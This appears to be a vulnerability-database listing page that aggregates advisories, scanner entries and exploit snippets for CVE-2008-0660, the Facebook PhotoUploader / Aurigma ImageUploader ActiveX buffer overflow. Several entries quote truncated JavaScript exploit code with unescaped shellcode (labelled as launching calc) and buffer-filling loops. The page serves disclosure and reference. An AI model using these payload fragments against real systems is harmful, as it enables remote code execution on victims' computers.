Facebook PhotoUploader ActiveX control ExtractIptc buffer overflow

Added: 05/19/2008 CVE: CVE-2008-0660 BID: 27576 OSVDB: 41073 Background Facebook PhotoUploader is an ActiveX control which allows uploading of photos to the Facebook web site. It uses the Aurigma ImageUploader product. Problem A buffer overflow vulnerability in Facebook PhotoUploader allows comma...

Update Protection against Facebook Photo Uploader ActiveX Control FileMask Method Buffer Overflow Vulnerability

A buffer overflow vulnerability has been reported in the Facebook Photo Uploader ActiveX control. Facebook is a social networking website that allows users to upload albums and photos. By convincing a user to visit a specially crafted Web page, a remote attacker may trigger this vulnerability to...

FaceBook / Aurigma Image / PhotoUploader / Piczo ImageUploader / ActiveX buffer overflow

Multiple buffer overflows in different properties...

FaceBook PhotoUploader <= 5.0.14.0 Remote Buffer Overflow Exploit

No description provided by source. html head object id="target" classid="clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0"/object /head body script var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+...

FaceBook PhotoUploader 5.0.14.0 - Remote Buffer Overflow

FaceBook PhotoUploader 5.0.14.0 - Remote Buffer Overflow var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+ "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+...

FaceBook PhotoUploader 5.0.14.0 - Remote Buffer Overflow

var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+ "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+ "%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+...

facebookexp-overflow.txt

var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+ "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+ "%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+...

FaceBook PhotoUploader <= 5.0.14.0 Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================= FaceBook PhotoUploader var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+...

Stack overflow

Multiple stack-based buffer overflows in Aurigma Image Uploader ActiveX control ImageUploader4.ocx 4.6.17.0, 4.5.70.0, and 4.5.126.0, and ImageUploader5 5.0.10.0, as used by Facebook PhotoUploader 4.5.57.0, allow remote attackers to execute arbitrary code via long 1 ExtractExif and 2 ExtractIptc...

DSquare Exploit Pack: D2SEC_FACEBOOK

Name| d2secfacebook ---|--- CVE| CVE-2008-0660 Exploit Pack| D2ExploitPack Description| Facebook Photo Uploader 4 ImageUploader4.1.ocx ActiveX Stack Overflow Notes|...

CVE-2008-0660

The CVE-2008-0660 vulnerability affects the Aurigma Image Uploader ActiveX control (ImageUploader4.ocx: 4.6.17.0, 4.5.70.0, 4.5.126.0 and ImageUploader5: 5.0.10.0) as used by Facebook PhotoUploader 4.5.57.0. It is caused by stack-based buffer overflows in the ExtractExif and ExtractIptc propertie...

Facebook Photo Uploader 4 ActiveX Control Buffer Overflow

This module exploits a stack buffer overflow in Facebook Photo Uploader 4. By sending an overly long string to the "ExtractIptc" property located in the ImageUploader4.ocx 4.5.57.0 Control, an attacker may be able to execute arbitrary code. This module requires Metasploit:...

[Full-disclosure] FaceBook/Aurigma Image/PhotoUploader Buffer Overflow

Who: FaceBook http://www.facebook.com Aurigma http://www.aurigma.com What: FaceBook uses Aurigma's ImageUploader control. This control enables users to upload photos to FaceBook. How: Please note that this vulnerability is DIFFERENT than the one that I previously posted. This also affects the sto...

FaceBook PhotoUploader (ImageUploader4.ocx 4.5.57.0) BOF Exploit

No description provided by source. !-- FaceBook PhotoUploader Buffer Overflow Exploit written by e.b. Tested on Windows XP SP2fully patched English, IE6, ImageUploader4.ocx 4.5.57.0FaceBookPhotoUploader2.cab The following controls are also vulnerable: Aurigma ImageUploader4 4.5.70.0 and 4.5.126.0...

Facebook Photo Uploader ActiveX Control < 4.5.57.1 Multiple Buffer Overflows

The remote host contains a version of the Facebook Photo Uploader ActiveX control that reportedly is affected by multiple buffer overflows involving, for example, long arguments to the control's 'ExtractExif', 'ExtractIptc', and 'FileMask' properties. If a remote attacker can trick a user on the...

facebook-overflow.txt

FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

FaceBook PhotoUploader (ImageUploader4.ocx 4.5.57.0) BOF Exploit

Exploit for unknown platform in category remote exploits ================================================================ FaceBook PhotoUploader ImageUploader4.ocx 4.5.57.0 BOF Exploit ================================================================ FaceBook PhotoUploader Buffer Overflow Exploit...

FaceBook PhotoUploader - ImageUploader4.ocx 4.5.57.0 Remote Buffer Overflow

FaceBook PhotoUploader - ImageUploader4.ocx 4.5.57.0 Remote Buffer Overflow FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378...

FaceBook PhotoUploader - 'ImageUploader4.ocx 4.5.57.0' Remote Buffer Overflow

FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

Some more widgets: Facebook, Hockey, FlickrInterestingNess &#40;Re: [MacOS X] Insecure eval&#40;&#41; in Twitgit and Twitterlex dashboard widgets&#41;

This is a follow-up to 0 and 1. Last night, I wrote: It would probably be an interesting exercise to go through some more dashboard widgets and grep for eval. I'd bet quite a bit that there's much more out there. - The top-50 facebook widget 2 uses the AllowFullAccess configuration option, which...